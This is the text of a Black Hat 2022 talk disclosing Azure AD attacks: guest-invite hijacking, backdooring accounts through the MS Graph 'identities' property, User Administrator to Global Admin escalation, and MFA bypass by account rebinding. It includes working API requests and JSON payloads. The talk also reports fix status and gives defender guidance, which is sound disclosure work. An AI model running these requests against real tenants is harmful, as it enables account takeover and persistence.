blackhat USA 2022

Backdooring and hijacking Azure AD accounts by abusing external identities

Dirk-jan Mollema / @_dirkjan



whoami

- Dirk-jan Mollema
- Lives in The Netherlands
- Hacker / Researcher / Founder @ Outsider Security
- Author of several (Azure) Active Directory tools
 - mitm6
 - Idapdomaindump -
 - BloodHound.py -
 - aclpwn.py -
 - Co-author of ntlmrelayx -
 - **ROADtools** -
- Blogs on dirkjanm.io
- Tweets stuff on @_dirkjan

SECURITY



Terminology

- Azure AD
 - Central Identity platform for Microsoft 365, Azure Resource Manager, and any other SaaS service you'd like to integrate with it



Terminology

- Tenant
 - A separate instance of Azure AD for an organization.
 - Most organizations have one primary tenant.
 - Important security boundary in Azure AD.
- External identity
 - Any identity that is not managed by your tenant
 - Can be another Azure AD tenant, Microsoft account, Google account or even just an email address.



External collaboration





Tenant B

Information Classification: General





External collaboration



Information Classification: General



Test setup

- 2 tenants:
 - Primary: Iminyour.cloud (iminyourcloud.onmicrosoft.com)
 - External: Crosstenantdev (crosstenantdev.onmicrosoft.com)
- All Azure AD defaults
- No specific B2B trust configured

n)



Home > iminyourcloud > Users >

New user

iminyourcloud

Got feedback?

Bulk invite and create are now located under the 'Bulk operations' menu item on the 'All users' view. View all users

Select template

Create user

Create a new user in your organization.

Invite user

)

Invite a new guest user to collaborate with your organization. The user will be emailed an in

Help me decide

Identity

Name 🛈

Example: 'Chris Green'

Email address 🗶 🕕

inviteme@crosstenantdev.onmicrosoft.com

First name

Last name



 \checkmark



Μ

HJ M invited you to access applications within their organization

Microsoft Invitations on behalf of iminyourcloud <invites@microsoft.com> To: Invite Me

• Please only act on this email if you trust the individual and organization represented below. In rare cases, individuals may receive fraudulent invitations from bad actors posing as legitimate companies. If you were not expecting this invitation, proceed with caution.

Sender: HJ M (<u>dirkjan@iminyour.cloud</u>) Organization: iminyourcloud Domain: [iminyour.cloud]iminyour.cloud

If you accept this invitation, you'll be sent to <u>https://account.activedirectory.windowsazure.com</u> /<u>?tenantid=6287f28f-4f7f-4322-9651-a8697d8fe1bc&login_hint=inviteme@crosstenantdev.onmicrosoft.com</u>.

Accept invitation

Block future invitations from this organization.

This invitation email is from iminyourcloud ([iminyour.cloud]iminyour.cloud) and may include advertising content. **iminyourcloud has not provided a link to their privacy statement for you to review.** Microsoft Corporation facilitated sending this email but did not validate the sender or the message.

Microsoft respects your privacy. To learn more, please read the <u>Microsoft Privacy Statement</u>. Microsoft Corporation, One Microsoft Way, Redmond, WA 98052





Microsoft





Microsoft

inviteme@crosstenantdev.onmicrosoft.com

Review permissions

i iminyourcloud iminyour.cloud

This resource is not shared by Microsoft.

The organization iminyourcloud would like to:

✓ Sign you in

✓ Read your name, email address, and photo

You should only accept if you trust iminyourcloud. By accepting, you allow this organization to access and process your data to create, control, and administer an account according to their policies. **iminyourcloud has not provided a link to their privacy statement for you to review.** iminyourcloud may log information about your access. You can remove these permissions at https://myapps.microsoft.com/iminyour.cloud

Cancel

Accept









Azure AD information resources

- Microsoft Graph
 - Official API for everything Microsoft 365 (including Azure AD)
 - Not always all information
- Azure AD graph
 - Azure AD only
 - Lower-level API than MS Graph
 - Possibility to use internal versions to gather more information
- Azure AD portal
 - May use MS Graph or AAD Graph, including internal versions





In this talk

- Mix of AAD Graph and MS Graph
- Use of ROADrecon (part of ROADtools) as front-end for AAD Graph





Invite acceptance, audit log

Activity	Target(s)	Modified Properties		
Target		Property Name	Old Value	New Value
inviteme_o	crosst	AcceptedAs	0	["inviteme@crosstenantdev.onmic oft.com"]
inviteme_o	crosst	AcceptedOn	0	["2022-07-25T12:10:18Z"]
inviteme_o	crosst	AlternativeSecurityId	0	[{"Type":5,"IdentityProvider":null,"H "EAMgAhA0qdc=","ReadOnly":fals
inviteme_o	crosst	DisplayName	["inviteme"]	["Invite Me"]
inviteme_o	crosst	UserState	["PendingAcceptance"]	["Accepted"]
inviteme_o	crosst	UserStateChangedOn	["2022-07-13T10:53:46Z"]	["2022-07-25T12:10:18Z"]
inviteme_c	crosst	Included Updated Properties		"AcceptedAs, AcceptedOn, AlternativeSecurityId, DisplayNam UserState, UserStateChangedOn"
inviteme_o	crosst	TargetId.UserType		"Guest"



ros Key": ;e}]

ne,



Guest account – after acceptance

```
Object
  acceptedAs: "inviteme@crosstenantdev.onmicrosoft.com"
  acceptedOn: "2022-07-25T12:10:18"
  accountEnabled: true
  ageGroup: null
  v alternativeSecurityIds: Array[1]
    v 0: Object
       identityProvider: null
       key: "EAMgAhA0qdc="
       type: 5
```

usageLocation: "NL" userPrincipalName: "inviteme crosstenantdev.onmicrosoft.com#EXT#@iminyourcloud.onmicrosoft.com" userState: "Accepted" userStateChangedOn: "2022-07-25T12:10:18" userType: "Guest"





Link is based on "netid" property in home tenant

Recipe		8 🖿 i	Ì	Input			
From Base64		⊘ 11	^	EAMgAhA0qdc=			
Alphabet A-Za-z0-9+/=		•					
Remove non-alphab	et chars [Strict mode					
To Hex		⊘ 11			enanto	iev.onimicrosoft.con	
Delimiter None	Bytes per line Ø	\$	ſ	Output 100320021034A9D7	oso	Invite Me	
To Upper case		⊘ 11			sft	mobile: null	
Scope All			*		nici	msExchMaitbo msExchRecipi msExchRemote	entTypeDeta <u>RecipientTy</u>
					osc	netId: <mark>"10032</mark> objectId:"40 objectType:'	20021034A9D7 2158c73-†77† 'User"



Diabla(@Salloweb.fil

ils:null ype:null 7" -458c-9a33-8ffe2f9d47e0"



Linking guest accounts between tenants







Inviting users using the AAD Graph

To redeem/accept the invite above, you sent the following

ARMClient POST /{tenant}/redeemInvitation?api-version=1.42-previewInternal @payload.json

Example payload.json below

```
"altSecIds": [{
   "identityProvider": null,
   "type": "1", // for MSA accounts
   "key": "{base64 string of user's puid encoded to bytes}"
 "acceptedAs": "user@live.com",
"inviteTicket": {
 "Ticket": "{GUID from ticket above}",
 "Type": "Invite"
```

https://github.com/projectKudu/ARMClient/wiki/AAD-Invite-User-Apis

Information Classification: General





Redeem invite via AAD Graph

- Needs external users netId
 - Can be queried using AAD Graph
 - Can be extracted from access token (puid claim)
- Need invite ticket
 - Can be queried using AAD Graph / ROADrecon Image: Can be queried using AAD Graph / ROADrecon







Redeem invite via API

POST	v https://graph.windows.net/myorganization/redeemInvitation?api-version=1.61-internal				
Params (Authorization Headers (10) Body Pre-request Script Tests Settings				
none	🔵 form-data 🜑 x-www-form-urlencoded 💿 raw 🜑 binary 🜑 GraphQL 🛛 JSON 🗸				
1	۶.				
2	····"altSecIds": [{				
3	····"identityProvider": null,				
4	····*type": **5",				
5	••••• "key": "EAMgAeN41Gg="				
6					

7

8 "inviteTicket": {

.....ticket": "ee228336-f615-4ef7-b29d-e058a9b14815", 9

···· "type": "Invite" 10

11

12

· · · · }

3



Redeeming invites: some issues

- You would think some privileged role is needed to redeem invites, this is not true, any user in the tenant could do it.
- None of the information is verified:
 - Could use any "accepted as" email
 - Could link it to any external account in any directory
- Invite tickets can be queried by any user in the tenant



Hijacking invites

• Query using AAD Graph:

https://graph.windows.net/myorganization/users?api-version=1.61-internal&\$filter=userState eq 'PendingAcceptance'&\$select=userPrincipalName,inviteTicket,userType,invitedAsMail





Query netid from rogue account

https://graph.windows.net/myorganization/users/newlowpriv@crosstenantdev.onmicrosoft.com/?api-version=1.61internal&\$select=userPrincipalName,netId





Redeem invite POST response











A @BlackHatEvents



No way to determine actual account link

■ Microsoft Azure	E Microsoft Azure $ ho$ Search resources, services, and docs (G+/) [1] [다 다 다 다 다 다 다 다 다 다 다 다 다 다 다 다 다 다 다								
Home > Guesttest Identities - Guesttest									
	Identity issuer	Issuer assigned ID							
X Diagnose and solve problems	ExternalAzureAD	federated							
Manage	iminyourcloud.onmicrosoft.com	userPrincipalName		guest_	outside	ersecuri	ty.nl#E	XT#@im	ninyou
🚨 Profile									
 Custom security attributes (preview) 									

Information Classification: General



rcloud.onmicrosoft.com



TL;DR

- Every user could query for non-redeemed invites.
- Could redeem invite without any validation, link to arbitrary external account.
- No way for admins to find out which account it was actually linked to.



Impact scenarios

- External identities used for managing Azure subscriptions in other tenants.
- Used for external suppliers/MSP accounts.
- UI flow exists to directly assign role to invited account, could be a privilege escalation.
- Bypasses allowlist of external collaboration domains.
- Invisible persistence if compromised account is remediated.

Audit Log Details Activity Target(s) Modified Properties

Audit Log Details

Activity Target(s) Mod Activity	ified Properties	Activity Target(s) Modifi Activity	ied Properties
Date	3/24/2022, 11:40 AM	Date	3/16/2022, 2:40 PM
Activity Type	Update user	Activity Type	Update user
Correlation ID	1a2c29e0-9217-423c-8841-4e81d55b9ff7	Correlation ID	1444e043-3b7e-42fc-9b25-434df1735fbe
Category	UserManagement	Category	UserManagement
Status	success	Status	success
Status reason		Status reason	
User Agent		User Agent	
Initiated by (actor)		Initiated by (actor)	
Туре	Application	Туре	User
Display Name	Microsoft Invitation Acceptance Portal	Display Name	
App ID		Object ID	077e1225-c6bd-4e18-ab93-da406f10aba
Service principal ID	7f45c9b5-033d-417f-9071-ac35aa7adefe	IP address	
Service principal name		User Principal Name	newlowpriv@iminyour.cloud

KQL hunting query: https://gist.github.com/dirkjanm/

Information Classification: General





£

External identities in MS Graph

- MS Graph shows less information than AAD Graph
- "identities" property can actually be modified with correct privs

https://graph.microsoft.com/beta/users/cd3a4c74-64ca-42b4-9448-601cabad969a/identities

```
"@odata.context": "https://graph.microsoft.com/beta/$metadata#users('cd3a4c74-64ca-42b4-9448-601cabad969a')/identities",
"value": [
        "signInType": "federated",
        "issuer": "ExternalAzureAD",
        "issuerAssignedId": null
    <u>}</u>,
        "signInType": "userPrincipalName",
        "issuer": "iminyourcloud.onmicrosoft.com",
        "issuerAssignedId": "guest outsidersecurity.nl#EXT#@iminyourcloud.onmicrosoft.com"
```





Linked subscriptions

Υ.

Inform

Other identity providers

External Identities iminyourcloud - Azure Active Directory	All identity providers	
✓ Search (Ctrl+/) «	+ Google + Facebook + New SAML/WS-Fed IdP	🖗 Got feedback?
🗊 Overview		
Cross-tenant access settings	Configured identity providers	
All identity providers	Name	
External collaboration settings	Azure Active Directory	
X Diagnose and solve problems	Microsoft Account	
Self-service sign up	Email one-time passcode	
Custom user attributes		
↔ All API connectors	SAML/WS-Fed identity providers	
👍 User flows	Search Search by domain name	
Subscriptions	Display name	Configuration

You have not added a SAML/WS-Fed identity provider



Email OTP in MS Graph and AAD Graph

Mail OTP Test

Overview

<pre>value": ["eodata.context": "https://graph.microsoft.com/beta/\$metadata#users(' "value": ["signInType": "federated", "issuer": "mail", "issuerAssignedId": "mailotp@outsidersec.dev" ic signInType": "userPrincipalName", "issuer": "iminyourcloud.onmicrosoft.com", "issuerAssignedId": "mailotp outsidersec dev#EXI#@iminyourcloud opmicrosoft</pre>			Overview	Raw
}	S ata ue": { }, {	Graph .context": "https://graph.microsoft.com/beta/\$metadata#users(' : ["signInType": "federated", "issuer": "mail", "issuerAssignedId": "mailotp@outsidersec.dev" "signInType": "userPrincipalName", "issuer": "iminyourcloud.onmicrosoft.com", "issuerAssignedId": "mailotp_outsidersec.dev#EXT#@iminyourcloud	<pre>v Object acceptedAs: "mailor acceptedOn: "2022-0 accountEnabled: tru ageGroup: null v alternativeSecur: v 0: Object identityProvid key: "bWFpbG90 type: 6 appMetadata: null d.onmicrosoft.com"</pre>	tp@outsidersec.dev" 07-26T13:53:56" Je ityIds:Array[1] der: "mail" cEBvdXRzaWRlcnNlYy5

£

3

Graph AAD Graph



Down



Who can modify the identities attribute?

- Global Admins
- User Administrators
- Apps with User.ManageIdentities.All privileges

Users can modify their own identities





Azure AD "Users" Role Definition







Users modify their own identities

Given a time-limited or scope-limited access token with the correct MS Graph permissions, attackers can backdoor an account and link it to an external account.





Attack scenario's

- Temporary account access
- Limited scope access, for example through device code phishing
- Application takeover or URL hijack with the appropriate scope



Account identities: original

	GET	~	https://graph.microsoft.com/beta/users/newlowpriv@iminyour.cloud/identities	
F	Params	Autho	rization Headers (8) Body Pre-request Script Tests Settings	
	🖲 none	e 🔵 forr	m-data 🜑 x-www-form-urlencoded 🜑 raw 🜑 binary 🜑 GraphQL	
				This re
B	Pretty	Cookles Raw	Headers (12) Test Results	
	2 3	"@o "va	א <mark>data.context":</mark> "https://graph.microsoft.com/beta/\$metadata#users('newlowpriv%40iminyour.c alue": [loud'
	4			
	5		"signInType": "userPrincipalName",	
	6		"issuer": "iminyourcloud.onmicrosoft.com",	
	7		"issuerAssignedId": "newlowpriv@iminyour.cloud"	
	8		Ъ.	
	9	1		
nform	10	3		



equest does not have a body

')/identities",



\leftarrow \rightarrow G	O A https://myaccount.microsoft.com/organiza	tions	
\blacksquare My Account \smallsetminus			
A Overview	Organizations		
℅ Security info	Home organization		M
💻 Devices	Your work or school account belongs to your	home organization. You can not leave your home organ	_
🔾 Password	Other organizations you collabo	rate with) Si
Organizations	You have guest accounts for the following org	anizations. You can leave organizations you no longer work wit	:h. Le
🐯 Settings & Privacy	crosstenantdev (Signed in)	Privacy statement unavailable	
≫ My sign-ins			





Add new identity (backdoor)

PATCH	~	https://graph.microsoft.com/v1.0/users/newlowpriv@iminyour.cloud/identities
Params	Auth	Headers (10) Body • Pre-req. Tests Settings
raw 🗸	JSON	\checkmark
1	£	
2	"value":	· [
3		
4		••••"signInType":•"federated",
5		····"issuer": "mail",
6		·····"issuerAssignedId": "mailotp@outsidersec.dev"
7		
8	· · · ·]	
9	3	

Body ~







Account identities after change

Body	Cooki	es Hea	iders (12) 1	est Results								¢	Status:
Prett	y	Raw	Preview	Visualize	JSON 🗸	₽							
1 2 3 4 5	μ	"@odat "value {	a.context" ": ["signInT	: "https://g ype": "feder	raph.micros(ated",	oft.co	om/beta/	\$metadata	∦users('n	ewlowpri	v%40imin	your	.cloud
6			"issuer"	: "mail",				. 0					
8		3,	-issueia	ssignedid":	"mailotp@ou	tside:	rsec.dev						
9		£											
10			"signInT	ype": "userP	rincipalNam	∍",							
11			"issuer"	: "iminyourc	Loud.onmicro	osoit	.com",						
12			"issuerA	ssignedId":	"newlowpriv(gimin	your.clo	ud"					
13		}											
14]											
15	3												



200 OK Time: 92 ms Size: 93

d')/identities",



Switching tenants



Back



Signed in as victim user

$\leftarrow \ \ \rightarrow \ \ {\bf G}$	O A https://myaccount.microsoft.com/organizations
III My Account $^{\smallsetminus}$	
Q OverviewSecurity info	Organizations Home organization
💻 Devices	Your work or school account belongs to your home organization. You can not leave your home organ
🔍 Password	Other organizations you collaborate with $(A_{+})^{\text{Sign in w}}$
Corganizations	You have guest accounts for the following organizations. You can leave organizations you no longer work with. Learn m
🐯 Settings & Privacy	iminyourcloud (Signed in) Privacy statement unavailable
🍫 My sign-ins	



Sign out

newlowpriv

mailotp@outsidersec.dev

View account

Switch organization

vith a different account

nore

Leave



Returning the account to the original state

PATCH	~	https://graph	.microsoft	.com/v1.0/u	users/ne	wlowpriv	@iminyour.cloud/	identities	5
Params A	uth 鱼	Headers (10)	Body 鱼	Pre-req.	Tests	Settings	5		
raw 🗸	JSON	~							
1 { 2 "\ 3	value":	- C							
4 }	ų								
Body 🗸						æ	204 No Content	257 ms	404 B





Extra technique: elevation of privilege

- User Administrators cannot reset passwords of Global **Administrators**
- They can however modify the identity of a Global Admin (or any other user)
- This way they can take over the account of a higher privileged user.



User Admin to Global Admin with a few clicks

Convert existing user to B2B account (Guest)



B2B collaboration

Convert this internal user to be a B2B user.

Manage (resend invitation / reset status)

Information Classification: General





Victim user





Manage

- Profile
- Custom security attributes (preview)
- Assigned roles
- Administrative units
- 🎎 Groups
- Applications
- 🔓 Licenses
- Devices
- Azure role assignments
- Authentication methods

Activity

- Sign-in logs
- Audit logs

Troubleshooting + Support

New support request

 ✓ View I Save X Discard X Got fee ✓ View more Job info 	Successfully updated gatestnew prof
Job title	De
Company name	Employee ID
Settings	
Block sign in Yes No	Usage location Netherlands
Contact info	
Street address	State or province

ZIP or postal code

Alternate email

~

Edit

Authentication contact info

rogue@crosstenantdev.onmicrosoft.com

City

Email

Use the Authentication methods page to manage authentication contact info for a user

ile.

X



Manage user collaboration status

You can convert internal users to use their external credentials. By converting this user, you will send them an invitation to the email selected and they can redeem this using their external credentials. Learn more

Invite internal user to B2B collaboration?

Invitation email

$oldsymbol{igo}$	Yes	\bigcirc	No
\smile		\smile	

rogue@crosstenantdev.onmicrosoft.com

X

Succussfully invited user V

User conversion succeeded





Microsoft Azure			, ∠ Search resource	urces, services, and doc
Home > iminyourcloud > rogue	user igned roles …			
X Diagnose and solve problems	 Add assignm 	nents 🕐 Refresł	n 🛛 🛜 Got feedback?	
Manage	Eligible assignm	nents Active a	ssignments Expired assig	Inments
L Profile	\wp Search by re	le		
Custom security attributes	Role	\uparrow_{\downarrow}	Principal name	Scope
(preview)	Global Admini	strator	gatestnew@iminyour.cloud	Directory
S Assigned roles				
Administrative units				
Sroups				
Applications				
Licenses				





User Administrator privesc TL;DR

- A User Administrator can convert any account to B2B, including higher privileged accounts.
- Can be done in GUI or with 2 simple POST requests to MS Graph.
- No need to redeem the invite with a real account if we combine this with the guest account hijack technique, making it fully invisible which account it was linked to.
- For some reason does not work for accounts with a mailbox, in which case changing the "identities" property works.



The caveat: MFA

- Converting a user to B2B or changing their identities will compromise their primary authentication method only.
- MFA will still kick in for the original account.





Guest tenants and MFA



Tenant A Resource tenant Attacker account MFA methods

> **Tenant B** Home tenant

Information Classification: General

(attacker controlled)



MFA methods remain those of victim account





Observations

- In a fresh sign-in session where MFA was performed, we are not prompted for MFA every time we switch apps. Suggests caching in login session.
- This holds for activity in tenants where we are a guest too.
- Conclusion: MFA information is cached somehow in our session, and keeps track of which tenants we performed MFA in.



Introducing account rebinding



Tenant A Resource tenant Attacker account MFA methods

> Tenant B Home tenant

Information Classification: General





(attacker controlled)



Invite attacker as guest



Information Classification: General

(attacker controlled)



Delete guest account

Attacker goest account ttacker MFA methods Victim account Victim MFA methods

> Tenant A **Resource tenant**

Attacker account MFA methods

> **Tenant B** Home tenant

(attacker controlled)



Rebind victim account to attacker identity



Information Classification: General







Add own MFA method to make bypass permanent

Authenticator app was successfully registered ×

Fri, 25 Mar 2022 20:47:12 GMT

Activity ↑↓	Status	Status reason	Target(s)
Update user	Success		victim@iminyour.cloud
Update user	Success		victim@iminyour.cloud
User started security info re.	Success	User started the registration for Authenticator App with Code	rogue user
Update user	Success		victim@iminyour.cloud



Initiated by (actor)

victim@iminyour.cloud

fim_password_service@sup...

victim@iminyour.cloud

Microsoft Invitation Accept...



Attack summary

- MFA information seems cached in the session based on home tenant identity + target tenant combination.
- No link to the actual account, makes it possible to:
 - Invite a guest account on attacker's email address.
 - Register MFA information (will be cached in session)
 - Delete the guest account by leaving the organization.
 - Link the victim account to the attackers account (either B2B link or via Email OTP).
 - Attacker can now log in as victim, including MFA claim, and add their own MFA app.



Attack scenarios and impact

- With limited account access (such as access token):
 - Convert into full persistent access, including MFA
- With only access to the account password:
 - Bypass MFA and Conditional Access if MFA is not required for all apps/locations.
- With a user administrator:
 - Elevate privileges to Global Admin, including MFA bypass.
 - Bypass MFA for any other account in the tenant.





Alternative scenario

- Instead of using Guest account, also possible to temporarily link account for which MFA is controlled in victim tenant to external OTP account.
 - Removes the requirement to invite external user.
 - Bypasses invite restrictions.
 - Bypasses external user blocks.
 - Bypasses Email OTP block.



Fix status

- Reported as 4 issues around March 2022
- Guest invite redemption without validation by any user in tenant
 - Fixed within a few weeks of reporting.
- Elevation from User admin to Global Admin via B2B conversion
 - Fixed in April 2022
- MFA bypass via account rebinding and cached MFA status
 - Fixed August 9th 2022
- Backdooring account identities
 - Fix in progress
 - MFA bypass no longer possible

onversion



Actions for defenders

- Remove guest accounts with unredeemed invites regularly.
- Lock down guest invite rights and guest access settings in Azure AD.
- Restrict the tenants that are allowed for external collaboration.
- Hunt in your Audit logs for possible abuse of guest accounts.
- Enforce MFA across all apps instead of selectively.

Hunting query at https://gist.github.com/dirkjanm/

blackhat USA 2022

Backdooring and hijacking Azure AD accounts by abusing external identities

Dirk-jan Mollema / @_dirkjan Questions: dirkjan@outsidersecurity.nl